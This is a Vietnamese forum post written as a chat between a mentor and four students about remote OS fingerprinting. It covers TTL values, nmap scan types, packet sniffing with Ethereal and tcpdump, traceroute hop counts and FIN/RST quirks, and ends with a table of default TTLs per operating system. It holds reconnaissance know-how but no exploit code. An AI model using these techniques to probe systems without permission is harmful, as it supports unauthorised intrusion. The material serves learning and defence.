Mấy ngày qua tôi nhận e-mail dồn dập từ bộ tứ 'cuti', 'ccxx', 'haothu' và 'docco', về những điều các cô cậu tìm thấy trong những lần táy máy. Tôi trả lời bộ tứ một cách tổng quát và sơ sài, đại loại như "tốt lắm, thử thêm một tí nữa đi" hoặc "đã đến mức này, ráng động não một tí đi em"..... Mấy cô cậu bức xúc lắm và nhất định hẹn gặp nhau vào cuối tuần để gỡ rối. Tôi nhận lời sẽ online trên YIM khoảng trưa thứ Bảy.
Như lần trước, bộ tứ đã có mặt sẵn trên YIM và đã tập trung trong một "conference". Tôi tham gia và nhanh chóng đi qua bước chào hỏi.
Lần này 'docco' mở đầu:
"Em có cả đống thắc mắc và em nghĩ những thắc mắc này bọn em đứa nào cũng thắc mắc như nhau. Em khởi đầu nha anh?"
Tôi đáp:
"Tấp bi liền hả? . OK. shoot."
'docco' gõ ngay lên câu hỏi thứ nhất:
"Cả tuần nay em thử mày mò tìm trên Internet xem web server nào chạy những software khác ngoài Apache và IIS, hai cái này thì dễ rồi vì chúng phổ biến quá. Em muốn tìm các web site chạy những thứ khác như iPlanet, Domino, Zeus... mà không tìm ra. Em đoán là còn nhiều loại khác nữa. Anh chỉ dùm em chỗ nào trên Internet có những thông tin này được không?"
Tôi đáp:
"Cái này anh nghĩ đâu khó em? Em chỉ cần dùng google và tìm qua các từ khoá điển hình một tí là có ngay. Anh nghĩ em nên khởi đầu với từ khoá "netcraft" và từ đó mà đi ra ."
Sau một hồi, có lẽ vừa thử xong từ khoá tôi cung cấp, 'docco' cảm thán:
"Đúng là có kinh nghiệm thì lợi đủ điều. Em mò mẫm hoài mà chẳng được cái gì cho rõ ràng. Anh chỉ cho em một từ khoá là thấy có tùm lum thứ để xem rồi."
'ccxx' lên tiếng:
"Trước khi đi sâu vào chuyện tcp/ip, em muốn nêu lên một chuyện. Chuyện này vừa giúp trong việc thăm dò 'footprint' mà vừa chứng minh cho ông Khoa thấy là 'kiddie' khó có khả năng dùng các công cụ cho hiệu quả nếu họ không có đủ kiến thức hoặc không chịu khó."
Tôi cười, trả lời:
"Hì hì, nhất định 'khai chiến' hả em? OK, cứ việc thoải mái."
'ccxx' tiếp tục:
"Không anh, tính em muốn làm cho rõ chuyện thôi. Em có nghe qua về nmap rất nhiều cho nên cũng tải về dùng thử. Tất nhiên là em chọn phiên bản dành cho Windows, có giao diện đồ hình hẳn hòi. Tuy vậy, em mất rất nhiều thời gian để làm quen với nó nhưng vẫn chưa nắm được bao nhiêu. Nếu nmap không phải là một công cụ được xếp loại 'một trong mười công cụ đứng đầu trong bộ đồ nghề security' thì có lẽ em đã vứt nó qua một bên vì quá khó. Công cụ này thích hợp cho dân chuyên mà thôi."
Tôi hỏi:
"Vậy em muốn chứng minh là 'kiddie' không thể dùng nmap đúng tiềm năng của công cụ này?"
'ccxx' đáp:
"Dạ. Em muốn chứng minh là dân lơ tơ mơ như... em thì nhìn vào nmap chỉ có nước... nhìn mà thôi nếu như không chịu khó mày mò."
'haothu' chen vào:
"Nhưng tui thấy trong chuyện này bà Như dùng kinh nghiệm bản thân để đưa ra một cái nhận xét chung cho tất cả các 'kiddie' coi bộ không thoả đáng à nha."
'ccxx' phản hồi:
"Tui chưa chứng minh gì hết mà ông. Để tui đưa ra vài điểm thì ông sẽ thấy thôi."
'ccxx' nói tiếp:
"Khi khởi động chương trình nmap, thứ nhất: nó hoàn toàn sử dụng các thuật ngữ chuyên môn để đặt tên cho các nút bấm, các chi tiết của chương trình. Tui hỏi ông, SYN stealth scan là cái gì? Tôi không dám chắc có 'kiddie' nào hiểu nổi cái gọi là SYN stealth cả đâu. Đó là chưa kể cả đống những thứ khác; nào là Stealth FIN, rồi đến Null Scan, Xmas. Tui ráng tìm hiểu xem thử những cái này là gì nhưng muốn khùng luôn vì cái này liên hệ đến cái kia. Ông thử tìm hiểu xem mấy cái đó là gì và mất bao lâu để nắm được? (nếu như ông không bỏ dở nữa đường)."
'cuti' chêm vào:
"Ừ, mấy cái thuật ngữ kia tuy chỉ là thuật ngữ nhưng nếu mình không hiểu nó là gì, lý do tại sao phải dùng nó thì hơi mệt thiệt."
'haothu' chống chế:
"Thì dùng cái gì lại không tìm hiểu tính năng của nó bà Như? Tui đoán 'kiddie' (như tui chẳng hạn) chỉ cần theo tài liệu có sẵn mà gõ thôi. Nếu cái này không được thì thử cái khác. Vấn đề ở chỗ là nó mang lại cho mình kết quả gì."
'ccxx' chộp ngay câu này để tấn công:
"Đó đó, ông nói câu này chỉ chẳng khác gì chấp nhận là 'kiddie' chỉ nhắm mắt gõ lệnh mà không cần suy nghĩ. Nếu vậy thì ông vô tình đồng ý với quan điểm của tui rồi. Tui nghĩ để dùng một công cụ như nmap mình phải hiểu rất rõ về tcp/ip, phải nắm rõ mỗi chọn lựa công cụ này cung cấp làm việc ra sao để có thể ứng dụng một cách thích đáng cho mỗi trường hợp. Nếu ông dùng nmap để scan một host nào đó và nó đã hoàn toàn cản các gói ICMP, không cho ping, ông có thể ngộ nhận là host ấy không tồn tại hoặc offline nếu như ông không dùng -P0. Cái GUI cho nmap thật ra chỉ là một phương tiện cho những ai làm biếng gõ lệnh mà thôi nhưng để dùng thật sự thì phải hiểu các chọn lựa, phối hợp để đạt được kết quả."
Tôi cười, đáp:
"Hay lắm. Tiếp tục đi em "
'haothu' cảm thán:
"Ái chà, không ngờ bà rành nmap đến như vậy. Cãi với bà thì chắc tui không lại rồi đó nhưng tui vẫn tin rằng một công cụ được tạo nên là để phục vụ người dùng thì không có lý gì người dùng phải nắm tất cả những chi tiết kỹ thuật bên trong chương trình này thì mới dùng được. Ngoại trừ người dùng muốn đạt mức độ chuyên về lãnh vực này."
'ccxx' phản bác:
"Ui... ông nói nghe mắc cười quá. Tất nhiên là công cụ được tạo ra để phục vụ người dùng nhưng người dùng phải học cách sử dụng nó chớ? Công cụ càng đa năng, người dùng cần mất nhiều thời gian để làm quen với nó. Cái xẻng cũng là công cụ, chiếc xe xúc cũng là công cụ, ông nghĩ rằng học cách dùng xẻng và học cách điều khiển chiếc xe xúc đòi hỏi công sức như nhau à? Điểm ông đưa ra chính là điểm để biện bác cho lối suy nghĩ của 'kiddie' vì 'kiddie' chẳng cần biết đến cái tinh tế và khả năng sâu xa của một công cụ mà chỉ cần biết nhắm mắt mà nhấn nút thôi. Tui nói sai chỗ nào đâu à?"
Tôi xen vào can gián:
"Thôi thôi, anh thấy bé Như nhà mình nói và bảo vệ quan điểm của mình rất vững vàng. Cu Khoa thua 1-0 rồi đó nha. Rồi, Duy muốn tiếp tục không em?"
'docco' lên tiếng:
"Dạ, tiếp tục thì có biết bao nhiêu chuyện tiếp tục hở anh? Hay là mình tiếp tục với chuyện tìm footprint từ tcp/ip đi anh? Làm sao mình biết được những thông tin này từ tcp/ip?"
Tôi đáp:
"Khi nói đến việc tìm footprint xuyên qua tcp/ip thì có nghĩa là mình phải nắm vững về tcp/ip và các ứng dụng đặc thù trên từng hệ điều hành. Các RFC đưa ra các tiêu chuẩn của mỗi giao thức, tuy nhiên RFC có những điểm không cụ thể cho nên các nhóm ứng dụng cho các hệ điều hành đọc, hiểu và ứng dụng chúng khác nhau. Bởi thế mới có những tiểu tiết khác nhau giúp cho mình có thể nhận diện được footprint xuyên qua tcp/ip. Tuy vậy, mình nên nhớ rằng, bất cứ thông tin nào thu thập được cũng mang tính tương đối mà thôi. Cũng như phần trước mình đã bàn, càng thu thập được nhiều dữ kiện, càng có thể xác định chính xác mục tiêu của mình."
'cuti' chen vào:
"Lỡ may em chưa rành tcp/ip thì liệu em có hiểu nổi không anh?"
Tôi trả lời:
"Anh tin là em vẫn hiểu được trên mặt nguyên tắc. Tuy nhiên, muốn đi sâu vào thì có thể sẽ có những chướng ngại nếu chưa rành tcp/ip. Ví dụ, em hiểu thế nào là TTL?"
'cuti' ậm ừ:
"Ùm.... èm.... xí mê, xí mê, để em nghía cuốn sách một tí đã? "
Tôi phá lên cười:
"Ai làm gì mà xí mê, xê mí... ghê vậy? Em muốn coi mấy thì coi, anh chỉ hỏi bất chợt một câu vậy thôi mà."
'cuti' hớn hở:
"Tìm ra rồi, TTL là 'Time To Live'. May mà mấy cái e-book này cho search chớ không thì dò biết chừng nào cho ra trời? Anh hỏi nữa đi? Em chắc thế nào cũng tìm ra được thôi."
Tôi đáp:
"Hì hì, mình đà khía hay mình đang trắc nghiệm đây em? Mà thi oral kiểu này thì ăn gian quá, có sẵn cái e-book trước măt để xem và trả lời. Anh mách cho một kế thế này. Khi em muốn nắm về tcp/ip, em nên nghiên cứu một bức đồ hoạ về ip header, tcp header, udp header.... và xem kỹ các fields và chức năng của chúng. Xong được cái này là em đã nắm ít nhất 50% về giao thức này rồi. Nếu không nắm được những chi tiết và giá trị bên trong một header thì đọc mãi đống chữ trong sách cũng chẳng thu nhập được bao nhiêu đâu em."
'docco' gật gù:
"Có lý. Trước giờ em cứ đọc đi đọc lại nhưng ít để tâm đến mấy cái đồ hình về header của giao thức. Em phải xem lại mới được."
Đến lượt 'haothu' lên tiếng:
"Nhưng mà hồi nãy anh nhắc đến TTL có mục đích gì cụ thể cho việc phát hiện footprint không anh? Hay chỉ là một câu hỏi chung chung thôi?"
Tôi đáp:
"À... thật ra cái TTL cũng tiết lộ ít nhiều thông tin đó em. Thử mở một cái command prompt lên và gõ:
Code:
hay
Code:
xem thử nó báo cái gì đi em?
Bộ tứ im lặng chừng một phút, sau đó 'ccxx' lên tiếng trước:
"A.... hoá ra là cái TTL là vậy. Khi em thử ping, trên máy em nó báo 4 lần TTL=128. Trước giờ em chẳng bao giờ để ý đến nó."
Tôi cười, hỏi qua 'cuti':
"Con Linux của em có sẵn đó không em?"
'cuti' đáp liền:
"Dạ có đây anh? Để chi vậy anh?"
Tôi đáp:
"Em thử mở một cái console và gõ:
Code:
xem thử nó báo cái gì?
'cuti' trả lời ngay sau đó:
"Độc thiệt là độc, nó báo TTL là 64. Em biết ý anh rồi. Phải ý anh là mỗi hệ điều hành ấn định một TTL khác nhau và từ đó mình có thể đoán được footprint không anh?"
Tôi đáp:
"Đúng là như vậy . Em thông minh lắm."
'cuti' hớn hở:
"Chà, lâu lâu được khen một câu thấy phẻ ra. Nhưng mà em thắc mắc là mình đâu có vào console của một máy nào đó để chạy lệnh được để mà biết nó có TTL là gì anh? mà đã vào được để chạy lệnh ping thì cần gì phải nhìn đến TTL mà xác định footprint nữa anh?"
Tôi thong thả trả lời:
"Bọn em nghĩ sao với câu hỏi của 'cuti'?"
'haothu' đáp:
"Chắc đây là chuyện có liên quan đến việc anh muốn bọn em ngâm cứu kỹ về tcp/ip đây rồi."
'docco' lên tiếng:
"Nếu em hiểu không sai thì gói tin nào cũng có mang theo giá trị TTL cả phải không anh? Vậy bằng cách bắt lấy một đoạn tin thì mình thấy được giá trị TTL của mục tiêu ngay."
Tôi đáp:
"Excellent! Em nhận định rất đúng. Vậy, TTL field nằm ở đâu, tầng nào trong mô hình tcp/ip?"
'cuti' nhanh nhảu trả lời:
"Có đây, có đây, IP layer phải hông anh? . Hì hì, có cái cẩm nang nằm ngay đây công nhận sướng thiệt."
'ccxx' nhạo:
"Chơi ăn gian vậy mà còn làm như hay lắm. Đừng xem sách coi thử có lẹ như thế không mới hay."
'docco' nói tiếp:
"Em vừa thử sniff vài thứ bằng Ethereal để xem kết quả ra sao thì thấy có tùm lum thứ, làm sao mình biết cái nào mình cần sniff và cần xem đây anh?"
Tôi đáp:
"Câu hỏi này chỉ có một câu trả lời duy nhất là em phải rành Ethereal hoặc bất cứ công cụ nào đó dùng để sniff. Em có thể giới hạn loại traffic nào cần sniff, ví dụ sniff giao thức nào, cổng nào... Anh khó có thể nói chi tiết, em nên tham khảo tài liệu đi kèm với công cụ em muốn dùng để biết cách sử dụng. Nếu em dùng Ethereal thì phần 'Help' của nó có chỉ dẫn rất rõ ràng. Nói về mặt kỹ thuật, để xác định được TTL của máy từ xa em phải tìm cách tương tác đến nó. Ví dụ, máy chủ em muốn thăm dò có dịch vụ web chẳng hạn; em thử dùng trình duyệt để duyệt trang web ấy đồng thời sniff các gói tin trên cổng 80. Từ kết quả sniff được, chắc chắn em có thể xác định được TTL.
Điều cần nói thêm ở đây là TTL em lấy được không phải của chính máy chủ ấy. Cho nên, ngoài việc thu thập giá trị TTL, em còn phải xác định thêm các thông tin khác để xác thực kết quả. Chi tiết thế nào mình bàn sau."
'docco' trả lời:
"A... vậy mà em không xem phần help của Ethereal. Để em xem lại cẩn thận."
Tôi đáp:
"Ừa, cũng như 'ccxx' nói lúc nãy: "công cụ càng đa năng, người dùng cần mất nhiều thời gian để làm quen với nó". Muốn đạt được kết quả, không những em phải vận dụng một cách thành thạo một hoặc nhiều công cụ mà đôi khi em còn phải phối hợp chúng lại. Anh không đi vào quá chi tiết kẻo em lại 'lùng bùng' nhưng trên nguyên tắc mà nói, em đã biết:
- TTL cho mỗi hệ điều hành thường khác nhau
- TTL nằm trên IP header
- muốn lấy được TTL của mục tiêu phải 'tương tác' đến hệ thống mình muốn thăm dò.
- giá trị TTL sniff được không phải lúc nào cũng là TTL của máy chủ mình muốn lấy.
Từ các điểm ở trên, em có thể hình thành một phương pháp thăm dò dựa trên công cụ mình có."
'docco' cười, đáp:
"Hì hì, em hiểu rồi. Hồi nãy anh có đề cập đến việc 'xác định thêm các thông tin khác' là sao anh? Chắc là thông tin của những fields khác trên IP header hay TCP header nữa phải không anh?"
Tôi trả lời:
"Ừa, và hơn thế nữa."
'cuti' xen vào hỏi:
"Em đang ở trên con Linux, anh có cái lệnh gì để sniff cho lẹ không anh? Em muốn xem thử ra sao."
Tôi đáp:
"Trên Linux thì có lẽ có sẵn tcpdump. Tuy nhiên dùng công cụ này hơi khó và để "đọc" được thông tin mớ tin mà tcpdump bắt được, em cần một công cụ khác như Ethereal hoặc Snort để đọc. Cách dễ nhất là chạy lệnh:
Code:
# tcpdump -s0 port 80 -w abc
trong khi thử duyệt một website nào đó. Sao đó ngưng tcpdump (gõ Ctl-C) và copy file abc kia sang máy nào có Ethereal mà mở ra xem. Chú trọng vào thông tin trên tầng IP."
'cuti' đáp:
"Chà, hoá ra cũng phức tạp quá vậy? Để em thử cái xem."
Vài phút im lặng trôi qua. Dường như bộ tứ để tâm vào chuyện "thử" hoặc đang đợi xem 'cuti' công bố kết quả tìm thấy. 'cuti' phá vỡ sự im lặng:
"À há, em tìm ra rồi. Em sniff được một đoạn thông tin y như cái lệnh anh cho ở trên và mang sang con Win của em có Ethereal. Bây giờ thì thấy lồ lộ giá trị "Time To Live" của website em muốn tìm là 44. Nhưng TTL có giá trị là 44 thì nó là hệ điều hành nào anh?"
[i]Tôi trả lời:
"Hồi nãy mình đã thông qua là TTL em sniff được không phải là TTL thực sự của máy chủ kia rồi mà? Nếu em lấy con số này và cho rằng nó chính là TTL của máy chủ em cần dò tìm là thiếu mất.... một đoạn rồi đó. Cái TTL mà em thấy được đó là TTL sau khi gói tin này đi xuyên qua bao nhiêu 'hops' trước khi về tới máy của em. Bởi vậy, TTL này phải cộng thêm số hops đi từ máy chủ đến máy em thì mới ra TTL thật sự của máy chủ "
docco thốt lên:
"Mèn.. mấy cái này anh không nói thì tụi em ăn quả hết ráo."
Tôi cười đáp:
"Bởi vậy anh mới nói là mấy đứa nên nắm vững tcp/ip thì mới mó tay vào mấy thứ này được. Vả lại những điểm này cũng đi ra từ suy luận mà thôi. Nếu hiểu rõ TTL là gì, TTL đi và TTL nhận là thế nào thì tự nhiên sẽ thấy rõ mồn một."
'cuti' lại lên tiếng:
"Em vừa thử duyệt cái trang web đang chạy trên con Linux, vừa sniff traffic và thấy rằng TTL của nó là 64. Em ping nó, nó cũng cho biết TTL là 64. Vậy là sao anh? Hồi nãy anh nói là TTL mình sniff được không phải lúc nào cũng là TTL thật sự của máy chủ mình muốn thăm dò mà?"
Tôi trả lời:
"À, một câu hỏi lý thú đó . Sao em không thử tự hỏi tạo sao TTL trong trường hợp này chẳng hề thay đổi?"
"cuti" rên rỉ:
"Hic, anh làm em thấy... nản rồi đó. Sao mà càng ngày càng tùm lum thứ hết vậy trời "
Tôi im lặng vài giây rồi đáp:
"Nản thật sao em? Những thứ mình đang bàn ở đây chỉ là nguyên tắc mà thôi. Nếu mình thực sự đi vào từng điểm kỹ thuật có lẽ em... chịu không nổi đâu."
'cuti' chống chế:
"Nhưng... mỗi lần gặp anh là có thêm một mớ chuyện để tìm tòi, tra cứu. Mớ trước chưa xong thì mớ sau ập đến thì làm sao lãnh hội kịp được anh? Em thấy nản là vì để nắm C thì phải hiểu A và B, chưa nắm xong C thì đã có thêm D, E, F để nghiền ngẫm cho nên đến lúc mình chạm đến G, H thì coi như em mù."
Tôi đáp:
"Em nên hiểu rằng những gì mình bàn ở đây là cái khung mà thôi. Mình không thể đi sâu vào từng chi tiết bởi vì không thể tìm đâu ra thời gian cả. Ví dụ mình bàn chủ để footprint chẳng hạn, mình chỉ có thể tạo cái khung cho những gì liên quan đến footprint. Còn mọi chi tiết kỹ thuật ai cũng phải đọc, suy gẫm và rút tỉa cả thôi em. Nói tóm lại, em cần thời gian, chuyên tâm và kiên nhẫn để thu gặt kiến thức."
'haothu' xen vào:
"Em thấy khúc mắc của Hưng khá dễ hiểu. Có lẽ Hưng bị hoảng vì phải tiếp nhận dồn dập nhiều thông tin quá mà thôi. Em cũng cảm thấy như vậy."
'docco' tham gia:
"Em thì thấy rằng những điều anh nhấn mạnh từ đầu về giềng mối có lý do quá hiển nhiên. Cũng như Hưng, em cũng bị choáng nhưng em ghi chú rồi về xem kỹ lại sau. Em thấy chẳng có gì để nản cả."
'docco' cố dẫn câu chuyện về hướng khác nên nói tiếp:
"Mình vẫn còn bàn về TTL, anh có thể 'đào xới' thêm về cái TTL một tí được không anh?"
Tôi trả lời:
"Hèm... TTL.. ok. Cứ hiểu nôm na là mỗi khi gói tin đi qua một router, TTL nguyên thủy (lúc gói tin tạo ra) sẽ bị trừ đi 1. Chi tiết thế nào thì em nên xem lại cuốn tcp/ip illustrated của Richard Stevens, quyển này dành riêng mấy trang nói rất kỹ về TTL. Khi mình đã nắm được nguyên tắc: qua 1 router, TTL trừ 1 thì mình có thể suy luận và hình dung ra được ngay gói tin 'cuti' sniff được ở trên có TTL với giá trị đã được trừ 1 nhiều lần bởi vì nó phải đi qua nhiều router trước khi về đến máy của 'cuti'. Phải không nào?"
'docco' đáp:
"Dạ phải."
'cuti' xen vào:
"A, hèn chi em ping và sniff con Linux server trên cùng một network nên TTL không thay đổi vì nó chẳng qua 'hop' nào cả. Ái chà, kiểu này phải đọc và nhồi thêm rồi."
Tôi hỏi tới:
"Nếu thế thì để xác định một cách tương đối TTL của gói tin mà 'cuti' sniff được để từ đó đoán ra hệ điều hành của nó là gì thì mình cần làm sao đây?"
'ccxx' nhanh nhảu:
"Em nghĩ là mình phải làm sao tính được có bao nhiêu lần gói tin đó bị TTL trừ 1. Sau đó lấy số lần bị trừ một đó cộng với giá trị TTL của ông Hưng tìm thấy hẳn phải là TTL nguyên thuỷ."
Tôi cười, đáp:
"Bravo! thấy chưa? Chuyện đơn giản thế mà chóng thấy nản thì hơi uổng "
Tôi hỏi thêm:
"Thế thì làm sao mình xác định được bao nhiêu lần gói tin ấy bị TTL - 1 nhỉ? Có ai có ý kiến gì không?"
'cuti' rụt rè:
"Èm.... tracert phải không anh?"
Tôi cười, trả lời:
"Đúng rồi đó em. Tuy nhiên, tracert là chương trình để 'trace route' trên Windows. Chính xác là dùng 'trace route' để xác định có bao nhiêu hops đi từ máy mình đến máy mình thăm dò. Nên nhớ, đường gói tin đi (route) từ máy mình đến máy mình thăm dò thường khác đường gói tin đi từ máy mình thăm dò đến máy của mình đó nha. Cho nên, giá trị hops tìm ra được bằng traceroute từ máy mình cộng với TTL tìm được từ gói tin chỉ mang tính tương đối."
'ccxx' thắc mắc:
"Sao vẫn chỉ là tương đối vậy anh? Tạo sao các hops đi từ máy A đến máy B có thể khác từ máy B đến máy A?"
Tôi đáp:
"À, điều này phụ thuộc vào router và các thuật toán của chúng mà gói tin phải đi qua. Bởi thế, gói tin đi từ A đến B có thể đi xuyên các route ngắn hơn. Trong khi đó gói tin đi từ B đến A có thể lại dài hơn. Với điều kiện lý tưởng, độ sai biệt có thể chỉ nằm trong vòng vài hops. Tuy nhiên, trên thực tế có nhiều yếu tố chủ quan và khách quan khiến cho đường đi ngược và đường đi xuôi khác biệt nhau."
'haothu' lên tiếng:
"Nếu vậy thì dùng TTL để xác định OS quả là mong manh."
Tôi cười, đáp lời 'haothu':
"Chính vì vậy, kỹ thuật thăm dò đòi hỏi hàng loạt kỹ thuật và khả năng kết hợp, đúc kết, đối chiếu thông tin lấy được. Đó là chưa kể đến trường hợp admin nào đó quyết định thay đổi TTL của server vì lý do nào đó thì kết quả thu thập được lại càng... mong manh hơn."
'cuti' thốt:
"Ui trời... nếu vậy thì bao nhiêu cố gắng tìm TTL, chạy tracert hoá ra vô ích sao anh?"
Tôi đáp:
"Hì hì, em muốn... tuyệt vọng hơn không? Đó là anh chưa kể trường hợp một host nào đó mình muốn thăm dò thật ra nằm đằng sau một (hoặc nhiều) reverse proxy server. Reverse proxy server này thay mặt server "thật" để trả lời request từ bên ngoài. Cho nên, TTL này có thể là TTL của reverse proxy server không chừng? "
'cuti' rú lên:
"Anh lừa em, anh lừa em... anh dẫn dụ toàn là những thứ nặng đô xong rồi lại đưa đến chỗ kết luận là chúng vô ích. Hèm... vậy mà em ráng dỏng tai lên nghe nãy giờ "
Tôi cười thích thú:
"Hà hà, vậy là em tuyệt vọng thật sự rồi hả? Thế này, không có kiến thức nào phí cả. Mục đích tận cùng cho việc nghiên cứu tcp/ip, TTL hay cái gì đó là để trang bị cho mình lớp kiến thức quan trọng. Sau này, khi em làm network admin, security specialist hay ngay cả lập trình viên có dính líu đến mạng, thì mới kiến thức này quý hơn... vàng. Những điều mình bàn ở đây là con đường đi ra khỏi cái cõi 'kiddie' để trở thành một người có kiến thức thật sự và có thể ứng dụng kiến thức đó."
conference room bao trùm trong sự im lặng. Hồi lâu, 'docco' lên tiếng:
"Dạ, em hiểu ý anh rồi. Em chỉ muốn đào xới thêm một tí nữa, được không anh?"
Tôi cười, đáp:
"Tất nhiên là được. Em muốn... đào cái gì đây?"
'docco' nói tiếp:
"Vậy với tcp/ip, mình còn có thể dựa trên những chi tiết nào khác để xác định footprint không anh?"
Tôi trả lời:
"Tất nhiên là có. Như anh đã nói trước đây, các RFC được lập ra nhưng bỏ ngỏ nhiều chi tiết. Bởi thế, các nhóm phát triển cứ diễn dịch và ứng dụng theo ý họ. Từ đó mới nảy ra những dị biệt. Ví dụ, nếu tham khảo RFC 793 thì thấy rằng khi một host nhận được gói tin mang flag là FIN trơ trụi thì không trả lời gói tin này vì nó chẳng ăn nhập vào đâu cả. Gói tin FIN phải kèm theo ACK để 'acknowlege' xuất truy cập kết thúc. Tuy vậy, nhiều hệ điều hành ứng dụng không đúng RFC 793 nên mới có trường hợp FIN gởi đi, RST từ host ấy gởi về. Hệ điều hành phổ biến như Microsoft Windows cũng dính vào dạng này. Ngoài ra các ứng dụng trên HP/UX, IRIX và ngay cả Cisco cũng không phải là ngoại lệ. Bởi vậy, dùng một công cụ tạo ra một gói FIN đơn lẻ đến 1 host và nhận được gói RST trả lời thì em có thể đoán được một trong những hệ điều hành như trên đang trả lời."
'docco' thích thú:
"À, không ngờ có những chuyện lý thú đến như vậy. Nhưng làm sao mình nắm được hết các hệ điều hành nào có thái độ như thế nào anh? Và cho dù có nhận được gói RST trả lời, mình cũng không thể xác định chính xác hệ điều hành đó là gì mà?"
Tôi đáp:
"Đúng như vậy em. Để xác định OS footprint một cách chính xác, mình không thể dựa vào một thông tin đơn lẻ nào mà phải tổng hợp nhiều thông tin thâu lượm được. Bởi vậy, các công cụ được viết sẵn để detect footprint thường thi hành một loạt thăm dò và so sánh với kết quả đã có sẵn trong database của nó. Ngay cả như thế, không có công cụ nào có thể tuyệt đối xác định được footprint cả."
'docco' cảm thán:
"Chà, vụ detect footprint dùng tcp/ip xem ra cũng căng chớ chẳng dễ dàng gì. Vậy có công cụ nào tự động rà tìm và cung cấp cho mình thông tin về footprint của một máy chủ nào đó không anh?"
'ccxx' nhanh nhảu chen vào:
"Có đó chứ, nmap đó. Nó có thể thực hiện chuyện này nhưng tui chưa rành nó lắm vì chưa táy máy nhiều."
Tôi tiếp lời:
"Công cụ dùng để detect OS footprint thì có khá nhiều. Trước đây thì có checkos, queso, sau này có nmap và một số công cụ thương mại. Tựu trung, chúng làm việc trên cùng nguyên tắc, chỉ khác nhau tiến trình và độ tỉ mỉ trong khi thực thi công tác rà tìm. Theo anh, nmap là một công cụ mạnh nhất vì dường như nó mang lại kết quả trung thực nhất."
'haothu' hỏi:
"Vậy sao mình không dùng luôn cái nmap để tìm footprint cho khoẻ anh? Mình thăm dò bằng tay như nãy giờ mấy anh em mình bàn vừa chậm lại vừa thiếu chính xác."
Tôi cười, đáp:
"Anh nghĩ không riêng gì em mà mấy đứa kia cũng suy nghĩ như em vậy. Anh cũng đồng ý với ý kiến của em. Tuy nhiên, điều quan trọng của việc thăm dò bằng tay là nó mang lại cho em 'in-depth knowledge'. Em sẽ hiểu sâu, hiểu tường tận khi nhúng tay vào cõi này. Khả năng kết hợp công cụ để táy máy với tcp/ip stack không chỉ dừng lại cho mục đích thăm dò mà còn đi xa hơn rất nhiều. Nó sẽ giúp em thâm nhập hoặc bảo mật tùy chọn. Cái này cũng giống như người lái xe hiểu rõ chiếc xe vận động ra sao, có những thiết bị nào thay vì chỉ đơn thuần lái xe. Nếu xe bị hỏng hóc, hoặc nếu em muốn điều chỉnh chiếc xe theo ý thì em bó tay. Sau này, khi em chịu trách nhiệm quản lý một chuỗi server và em không muốn bị rà tìm footprint bằng các công cụ như nmap chẳng hạn, em phải hiểu rõ cách nmap làm việc để đánh lừa nó nếu em muốn ứng dụng một ít 'security from obscurity' "
'docco' gật gù:
"Ái chà, em chưa nghĩ tới cỡ phải hiểu rõ nmap để đánh lừa nmap. Như anh nói lần trước, 'security from obscurity' chỉ là một lớp vỏ bên ngoài, vậy thì việc gì mình phải mất thời gian với nó để dấu footprint với nmap scan hở anh?"
Tôi đáp:
"Hì hì, cu Duy tinh tế quá. Thế này, defeat nmap chỉ là một ví dụ, một trường hợp. Để kiện toàn bảo mật, nếu muốn nhìn từ phương diện này, em phải hiểu các dạng rà tìm, tấn công, các công cụ thường dùng cho mục đích này để phòng chống. Khái niệm 'hiểu' này không chỉ gói gọn trong khuôn khổ defeating nmap hay một công cụ riêng biệt nào cả. Anh ví dụ có một công cụ tự động hoá dùng để tạo các http header cực lớn nhằm mục đích làm treo web service chẳng hạn. Có ít nhất hai hướng nhìn để defeat dạng tấn công này.
- Hướng 'đụng đâu chữa đấy' là hướng đợi server bị treo rồi mới phân tích log và tìm thấy nguyên nhân rồi mới đi đến chỗ sửa chữa nó.
- Hướng 'phỏng định trước' là hướng nghiên cứu các trường hợp có thể xảy ra, tìm các loại công cụ tạo các dạng tấn công như thế đề phòng chống.
Khi nhìn vào một cái perl script được công bố trên các website chuyên bảo mật, đọc xuyên qua em có thể hình dung là các web service có thể bị 'yếu' ở những điểm nào. Từ suy luận, em có thể đi đến giải pháp sau đó. Ý anh là dựa vào cách thức tấn công của các công cụ có sẵn và hình thành cách phòng chống những dạng tấn công tương tự. Điều này có nghĩa: em phải hiểu cách làm việc của công cụ ấy."
'docco' trả lời:
"Èm... em thấy xa vời quá. Có lẽ bọn em chưa đủ 'đô' để nghĩ đến những chuyện này đâu anh. Hy vọng một ngày nào đó bọn em sẽ thấy hữu lý . Với lại em thấy có bug track và các cty, các nhóm phát triển cung cấp bản vá rồi mà anh? Nếu mình đào sâu quá thì lấy đâu ra thời gian?"
Tôi cười, đáp lời 'docco':
"Ừa, em suy nghĩ thế cũng có cái lý của nó. Tuy vậy, nếu mình muốn làm việc và suy nghĩ như một 'hacker' thì mình không thể ỷ lại như một 'user'. Có thể em không đụng hết mọi thứ, có thể em chỉ chuyên một thứ nào đó và em đóng góp những điều em tìm thấy từ lãnh vực em chuyên."
'haothu' hỏi tiếp:
"À quên chứ, anh có tài liệu nào liệt kê các TTL tiêu chuẩn của từng hệ điều hành không anh? Em muốn tham khảo thêm xem sao."
Tôi cười phá lên rồi trả lời:
"Hì hì, em muốn quay lại cái TTL để táy máy hả? Tốt lắm. Anh có nhớ là đã lưu một bản TTL tiêu chuẩn anh tìm thấy trên Web, để anh tìm cái xem."
Sau vài phút lục lọi, tôi paste đoạn TTL mà tôi tìm được:
"Đây em, tha hồ mà tham khảo"
Code:
OS VER PLATFORM TTL WINDOW DF TOS
DC-OSx 1.1-95 Pyramid/NILE 30 8192 n 0
Windows 9x/NT Intel 32 5000-9000 y 0
AIX 4.3.x IBM/RS 60 006016000-16100 y 0
AIX 4.2.x IBM/RS 60 006016000-16100 n 0
Cisco 11.2 7507 60 65535 y 0
DigitalUnix 4.0 Alpha 60 33580 y 16
IRI X6.x SGI 60 61320 y 16
OS390 2.6 IBM/S390 60 32756 n 0
Reliant 5.43 Pyramid/RM1000 60 65534 n 0
FreeBSD 3.x Intel 64 17520 y 16
Linux 2.2.x Intel 64 32120 y 0
OpenBSD 2.x Intel 64 17520 n 16
OS/400 R4.4 AS/400 64 8192 y 0
SCO R5 Compaq 64 24820 n 0
Solaris 8 Intel/Sparc 64 24820 y 0
FTX(UNIX) 3.3 STRATUS 64 32768 n 0
Unisys x Mainframe 64 32768 n 0
Netware 4.11 Intel 128 32000-32768 y 0
Windows 9x/NT Intel 128 5000-9000 y 0
Windows 2000 Intel 128 17000-18000 y 0
Cisco 12.0 2514 255 3800-5000 n 192
Solaris 2.x Intel/Sparc 255 8760 y 0
